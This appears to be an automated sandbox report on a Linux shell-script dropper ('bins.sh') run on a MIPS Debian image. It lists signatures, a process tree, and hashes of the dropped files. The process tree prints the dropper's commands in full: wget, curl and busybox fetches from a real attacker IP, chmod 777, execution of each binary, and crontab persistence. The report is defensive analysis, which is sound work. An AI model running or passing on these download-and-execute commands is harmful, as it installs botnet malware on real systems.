Analysis

  • max time kernel
    27s
  • max time network
    96s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21/11/2024, 03:46

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241121-ebl3payhpn
  • SHA256 4662fe6526ba83645f6a4d758194c90846d5a97df90db0a9e160fa69f4de60f5
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (751) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:714
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:718
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Writes file to tmp directory
          PID:720
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • File and Directory Permissions Modification
          PID:744
        • /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          ./Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
          • Executes dropped EXE
          PID:745
        • /bin/rm
          rm Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
          2⤵
            PID:747
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Writes file to tmp directory
            PID:748
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Writes file to tmp directory
            PID:763
          • /bin/chmod
            chmod 777 bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • File and Directory Permissions Modification
            PID:769
          • /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            ./bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
            • Executes dropped EXE
            PID:771
          • /bin/rm
            rm bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
            2⤵
              PID:774
            • /usr/bin/wget
              wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Writes file to tmp directory
              PID:775
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Writes file to tmp directory
              PID:788
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Writes file to tmp directory
              PID:801
            • /bin/chmod
              chmod 777 XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              ./XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
              2⤵
                PID:806
              • /usr/bin/wget
                wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Writes file to tmp directory
                PID:807
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Writes file to tmp directory
                PID:808
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Writes file to tmp directory
                PID:809
              • /bin/chmod
                chmod 777 wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • File and Directory Permissions Modification
                PID:810
              • /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                ./wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:811
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:813
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:814
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:817
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:818
                    • /bin/rm
                      rm wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                      2⤵
                        PID:822
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                        2⤵
                          PID:907
                        • /usr/bin/curl
                          curl -O http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                          2⤵
                            PID:918
                          • /bin/busybox
                            /bin/busybox wget http://216.126.231.240/bins/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                            2⤵
                            • Writes file to tmp directory
                            PID:921
                          • /bin/chmod
                            chmod 777 UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                            2⤵
                            • File and Directory Permissions Modification
                            PID:930
                          • /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                            ./UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                            2⤵
                            • Executes dropped EXE
                            PID:931
                          • /bin/rm
                            rm UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                            2⤵
                              PID:932
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                              2⤵
                                PID:934
                              • /usr/bin/curl
                                curl -O http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                2⤵
                                  PID:938
                                • /bin/busybox
                                  /bin/busybox wget http://216.126.231.240/bins/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:940
                                • /bin/chmod
                                  chmod 777 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:949
                                • /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  ./1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  2⤵
                                  • Executes dropped EXE
                                  PID:950
                                • /bin/rm
                                  rm 1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                  2⤵
                                    PID:952
                                  • /usr/bin/wget
                                    wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                    2⤵
                                      PID:953
                                    • /usr/bin/curl
                                      curl -O http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                      2⤵
                                        PID:954
                                      • /bin/busybox
                                        /bin/busybox wget http://216.126.231.240/bins/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:955
                                      • /bin/chmod
                                        chmod 777 YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:956
                                      • /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                        ./YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                        2⤵
                                        • Executes dropped EXE
                                        PID:957
                                      • /bin/rm
                                        rm YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                        2⤵
                                          PID:959
                                        • /usr/bin/wget
                                          wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
                                          2⤵
                                            PID:960
                                          • /usr/bin/curl
                                            curl -O http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
                                            2⤵
                                              PID:961
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/GwzT5vArOcDeklysxb8S39dg9LbhbI0b7d
                                              2⤵
                                                PID:962

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz

                                                  • Path /tmp/1WwsRIEEmuIoef0f63nvoCDeRj1tGXltAz
                                                  • Size 117KB
                                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX

                                                  • Path /tmp/Sf3JNozjynyYBQTkkmIqKvQj1UZNj7p8BX
                                                  • Size 122KB
                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5

                                                  • Path /tmp/UfBJAja58iIW0YzRIIXUZMWiAH1Ot6omb5
                                                  • Size 111KB
                                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0

                                                  • Path /tmp/XIE3yZiP1guhBBa3qt2akDG9oh9MgDyOk0
                                                  • Size 107KB
                                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An

                                                  • Path /tmp/YzEtbClfmpT6W9b6xstLXEEMvIRpMIr0An
                                                  • Size 112KB
                                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5

                                                  • Path /tmp/bjOxaKOdAMbgeYnQytPr5iZUfpxbEpFXC5
                                                  • Size 151KB
                                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL

                                                  • Path /tmp/wAd5gvypFsoCwkAzLshVBrKQAY79NI4XaL
                                                  • Size 151KB
                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                  • MD5 SHA1 SHA512 SSDEEP

                                                  tmp.IFAe5k

                                                  • Path /var/spool/cron/crontabs/tmp.IFAe5k
                                                  • Size 210B
                                                  • SHA256 2cdf25ca724ce9d9079f9ecf69e1ad5a4e5e4cae387f597a5a3eb4b9c08c9b2e
                                                  • MD5 SHA1 SHA512